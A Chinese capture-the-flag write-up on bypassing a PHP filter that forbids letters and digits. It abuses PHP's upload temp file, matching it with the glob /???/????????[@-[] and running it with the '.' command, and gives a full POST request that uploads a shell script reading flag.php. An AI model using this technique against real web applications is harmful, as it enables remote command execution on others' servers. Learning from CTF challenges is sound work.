前言
之前做过一道红包题第二弹,这里也是同样的解法,但是新学到了很多知识点,记录一下。
这个解法,p神的文章讲的很清楚无字母数字webshell之提高篇
glob通配符
因为只有PHP生成的临时文件包含大写字母,所以可以用/???/????????[@-[]
来匹配我们上传的临时文件。
原理:
翻开ascii码表,可见大写字母位于@与[之间:
那么,我们可以利用[@-[]来表示大写字母:
. 执行文件不需要x权限
题解
注意传参方式为POST。
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: e51e3381-cae6-4dae-b44b-3a3ef9fa1c0d.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Content-Length: 239
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat flag.php
-----------------------------10242300956292313528205888--